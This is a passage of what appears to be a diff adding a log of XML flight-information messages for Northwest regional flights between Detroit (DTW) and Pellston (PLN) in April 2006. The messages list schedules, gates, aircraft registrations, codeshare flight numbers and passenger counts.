</arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>31</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>2</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>26</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:54:27Z</msg_dtm><msg_seq_id>114619286700000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T15:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T15:36:00</off_dtm><on_dtm typ=\"2\">2006-04-28T16:25:00</on_dtm><in_dtm typ=\"2\">2006-04-28T16:30:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T15:17:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T15:36:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T16:25:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T16:30:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C36</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>8751</ac_num><ac_reg_num>N8751D</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7254</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>5981</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><prevpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2981</flt_num><leg_orig_ap_cde>FWA</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde></prevpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>29</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:54:28Z</msg_dtm><msg_seq_id>114619286800000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3203</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T22:16:00</out_dtm><off_dtm typ=\"2\">2006-04-28T22:26:00</off_dtm><on_dtm typ=\"2\">2006-04-28T23:38:00</on_dtm><in_dtm typ=\"2\">2006-04-28T23:43:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T22:16:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T22:26:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T23:38:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T23:43:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C34</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7456</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4503</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:54:29Z</msg_dtm><msg_seq_id>114619286900000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3207</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>PLN</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T09:05:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T09:15:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T10:32:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T10:37:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>C30</dptr_gate><arvl_gate>1</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7460</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>11</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>4</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:54:53Z</msg_dtm><msg_seq_id>114619289300000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-27T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-27T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-27T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T17:00:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T17:10:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T18:12:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T18:21:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde/><ac_num>8012</ac_num><ac_reg_num>N812AY</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>28</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>28</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:42:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:54:54Z</msg_dtm><msg_seq_id>114619289400000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-27T11:12:00</out_dtm><off_dtm typ=\"2\">2006-04-27T11:17:00</off_dtm><on_dtm typ=\"2\">2006-04-27T12:29:00</on_dtm><in_dtm typ=\"2\">2006-04-27T12:34:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-27T11:07:00</out_dtm><out_tme_type_cde>A</out_tme_type_cde><off_dtm typ=\"2\">2006-04-27T11:15:00</off_dtm><off_tme_type_cde>A</off_tme_type_cde><on_dtm typ=\"2\">2006-04-27T12:17:00</on_dtm><on_tme_type_cde>A</on_tme_type_cde><in_dtm typ=\"2\">2006-04-27T12:37:00</in_dtm><in_tme_type_cde>A</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C8</arvl_gate><flt_radio_cde/><ac_num>7449</ac_num><ac_reg_num>N449XJ</ac_reg_num><subfleet>SFC</subfleet><flt_rmks>Departed</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7499</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4532</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-27</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>TRI</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>29</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>30</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>2</ckpt_crew_cnt><cbn_crew_cnt>1</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-20T01:43:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:54:55Z</msg_dtm><msg_seq_id>114619289500000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T17:00:00</out_dtm><off_dtm typ=\"2\">2006-04-28T17:15:00</off_dtm><on_dtm typ=\"2\">2006-04-28T18:00:00</on_dtm><in_dtm typ=\"2\">2006-04-28T18:10:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T17:00:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T17:15:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T18:00:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T18:10:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C33</arvl_gate><flt_radio_cde/><ac_num>8751</ac_num><ac_reg_num>N8751D</ac_reg_num><subfleet>CR4</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>9E</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7249</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>7063</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>2863</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>CVG</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>20</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:40:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:54:57Z</msg_dtm><msg_seq_id>114619289700000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3202</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T06:17:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T06:22:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T07:36:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T07:41:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C14</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7162</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>23</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>1</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
+<fds_fidspln><msg_hdr><msg_vers_id>1.0</msg_vers_id><msg_dtm typ=\"3\">2006-04-28T02:54:58Z</msg_dtm><msg_seq_id>114619289800000001</msg_seq_id><msg_prodr_id>fdsd1_post29_p</msg_prodr_id><msg_scrty/><msg_debug/></msg_hdr><flt_data><flt_key><flt_orig_dte typ=\"1\">2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><leg_orig_vers_num>1</leg_orig_vers_num></flt_key><flt_sked><leg_orig_ap_cde>PLN</leg_orig_ap_cde><leg_dest_ap_cde>DTW</leg_dest_ap_cde><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm></flt_sked><flt_oooi><out_dtm typ=\"2\">2006-04-28T11:12:00</out_dtm><out_tme_type_cde>S</out_tme_type_cde><off_dtm typ=\"2\">2006-04-28T11:17:00</off_dtm><off_tme_type_cde>S</off_tme_type_cde><on_dtm typ=\"2\">2006-04-28T12:29:00</on_dtm><on_tme_type_cde>S</on_tme_type_cde><in_dtm typ=\"2\">2006-04-28T12:34:00</in_dtm><in_tme_type_cde>S</in_tme_type_cde></flt_oooi><delay_cde></delay_cde><dptr_gate>1</dptr_gate><arvl_gate>C34</arvl_gate><flt_radio_cde/><ac_num>0</ac_num><ac_reg_num></ac_reg_num><subfleet>SFC</subfleet><flt_rmks>On Time</flt_rmks><inflt_svc_rmks> </inflt_svc_rmks><flt_typ_cde>XJ</flt_typ_cde><cshr_flt_id_grp><al_cde>CO</al_cde><flt_num>7499</flt_num></cshr_flt_id_grp><cshr_flt_id_grp><al_cde>KL</al_cde><flt_num>4532</flt_num></cshr_flt_id_grp><dptr_iop_actn_cde> </dptr_iop_actn_cde><arvl_iop_actn_cde> </arvl_iop_actn_cde><dptr_iop_rsn_cde> </dptr_iop_rsn_cde><arvl_iop_rsn_cde> </arvl_iop_rsn_cde><downline_leg_ind>N</downline_leg_ind><overfly_ind>N</overfly_ind><cncl_ind>N</cncl_ind><sked_dptr_ind>Y</sked_dptr_ind><sked_arvl_ind>Y</sked_arvl_ind><onwdpax><flt_orig_dte>2006-04-28</flt_orig_dte><al_cde>NW</al_cde><flt_num>3232</flt_num><leg_orig_ap_cde>DTW</leg_orig_ap_cde><leg_dest_ap_cde>TRI</leg_dest_ap_cde></onwdpax><flt_psgr_grp><f_bpsgr_cnt>0</f_bpsgr_cnt><j_bpsgr_cnt>0</j_bpsgr_cnt><y_bpsgr_cnt>24</y_bpsgr_cnt><f_wlpsgr_cnt>0</f_wlpsgr_cnt><j_wlpsgr_cnt>0</j_wlpsgr_cnt><y_wlpsgr_cnt>0</y_wlpsgr_cnt><f_psgr_cnt>0</f_psgr_cnt><j_psgr_cnt>0</j_psgr_cnt><y_psgr_cnt>0</y_psgr_cnt><f_child_cnt>0</f_child_cnt><j_child_cnt>0</j_child_cnt><y_child_cnt>0</y_child_cnt><f_infant_cnt>0</f_infant_cnt><j_infant_cnt>0</j_infant_cnt><y_infant_cnt>0</y_infant_cnt><ckpt_crew_cnt>0</ckpt_crew_cnt><cbn_crew_cnt>0</cbn_crew_cnt></flt_psgr_grp><src_upd_id>REINITDB</src_upd_id><src_sys_dtm typ=\"3\">2006-04-21T01:41:00Z</src_sys_dtm></flt_data></fds_fidspln>
+
+--------------END---------------
+
+--------------START---------------
+<?xml version=\"1.0\"?>
